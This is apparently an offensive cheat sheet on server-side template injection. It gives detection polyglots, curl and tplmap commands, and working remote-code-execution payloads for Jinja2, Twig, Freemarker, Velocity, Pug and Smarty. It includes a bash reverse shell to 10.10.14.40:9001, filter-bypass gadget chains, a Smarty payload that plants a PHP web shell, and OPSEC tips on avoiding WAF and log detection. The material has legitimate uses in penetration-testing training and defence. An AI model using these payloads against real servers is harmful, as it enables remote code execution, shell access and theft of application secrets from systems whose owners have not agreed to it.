Server-Side Template Injection (SSTI)
#Overview
Server-Side Template Injection occurs when user input is embedded into a server-side template without proper sanitization, allowing attackers to inject template directives that execute arbitrary code on the server. SSTI can lead to full remote code execution (RCE), file read, and data exfiltration depending on the template engine. Each engine has distinct syntax and exploitation techniques, making fingerprinting the first critical step.
#Prerequisites
- Web application using a server-side template engine
- User-controlled input reflected in template output
- Knowledge of template engine-specific syntax
#Detection & Enumeration
#Detection Polyglots
Test these payloads in any user-controllable field reflected on the page:
| Payload | Target Engine |
|---|---|
{{7*7}} | Jinja2, Twig, Smarty |
${7*7} | Freemarker, Velocity |
<%=7*7%> | ERB (Ruby) |
#{7*7} | Pug/Jade |
{{7*'7'}} | Jinja2 -- returns 7777777 for Jinja2, 49 for Twig |
${{7*7}} | Freemarker nested |
a{*comment*}b | Smarty -- returns "ab" |
# Automated SSTI detection via tplmap
python2 tplmap.py -u 'http://target.htb/page?name='
# Manual fuzzing with curl
curl -s 'http://target.htb/search?q={{7*7}}'
# If response contains "49": Jinja2/Twig confirmed
BASH
#Engine Fingerprinting by Error Messages
# Trigger engine-specific errors
curl -s 'http://target.htb/page?name={{}}'
# Jinja2: "jinja2.exceptions.UndefinedError"
# Twig: "Twig_Error_Syntax"
# Freemarker: "freemarker.core.InvalidReferenceException"
# Velocity: "org.apache.velocity.exception"
BASH
#Exploitation / Execution
#Jinja2 / Flask -- Full RCE
# Read local file
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# RCE via lipsum global
{{ lipsum.__globals__['os'].popen('cat /etc/passwd').read() }}
# RCE via cycler
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# RCE via joiner
{{ joiner.__init__.__globals__.os.popen('id').read() }}
# Full reverse shell payload
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.40/9001 0>&1"').read() }}
# Bypass common filters using request object (GET parameter injection)
{{ request|attr('application')|attr(request.args.c|string)[0]|attr(request.args.d|string)(117) }}
# ?c=__globals__&d=__builtins__&e=__import__('os')&f=popen&g=id
PYTHON
#Twig -- RCE
# Twig RCE via _self (confirmed working)
{{ _self.env.registerUndefinedFilterCallback('exec') }}
{{ _self.env.getFilter('id') }}
# Alternative Twig RCE
{{ ['id']|filter('system') }}
PHP
#Freemarker -- RCE Payloads
# Execute system command
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
# Alternative Freemarker (via ObjectConstructor)
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","whoami").start()}
# Freemarker sandbox bypass
<#assign classloader=object.getClass().getClassLoader()>
<#assign cl=classloader.loadClass("java.lang.Runtime")>
<#assign exec=cl.getMethod("exec", "java.lang.String")>
<#assign proc=exec.invoke(cl.getMethod("getRuntime").invoke(null), "id")>
${proc}
JAVA
#Velocity -- Command Execution
# Velocity RCE
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
JAVA
#Pug/Jade
# Pug RCE via global.process
#{global.process.mainModule.constructor._load('child_process').execSync('id').toString()}
# Alternative payload
- var x = root.process.mainModule.require('child_process').execSync('id').toString()
= x
JAVASCRIPT
#Smarty
# Smarty RCE via {php} tag (if enabled)
{php}echo shell_exec('id');{/php}
# Smarty static method call
{Smarty_Internal_Write_File::writeFile(['/var/www/html/shell.php'], '<?php system($_GET["c"]); ?>')}
PHP
#Common Pitfalls
- Payload returns empty -- template engine may be sandboxed, try alternative gadget chains
- Jinja2
{{''.__class__}}blocked -- use|attr()filter or request object bypass - Smarty
{php}disabled -- fall back to static method calls - Freemarker
Executeblocked -- try ObjectConstructor or classloader approaches - Not SSTI but reflected XSS -- verify with math operations (
{{7*7}}returning 49, not just reflecting)
#OPSEC Considerations
- SSTI payloads often contain distinctive strings (classloader, Runtime, exec, ProcessBuilder)
- WAFs specifically target SSTI polyglots like
{{7*7}}and${7*7} - Error-based fingerprinting generates server-side exceptions visible in logs
- Reverse shell payloads in SSTI look identical to any other code execution attempt
#Post-Exploitation Value
- Full remote code execution as the web server user
- File system access via template engine file-reading capabilities
- Access to application secrets in environment variables and config files
- Potential to pivot into container escape if the app is containerized
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| tplmap | https://github.com/epinna/tplmap |
| SSTImap | https://github.com/vladko312/SSTImap |
| PayloadsAllTheThings SSTI | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection |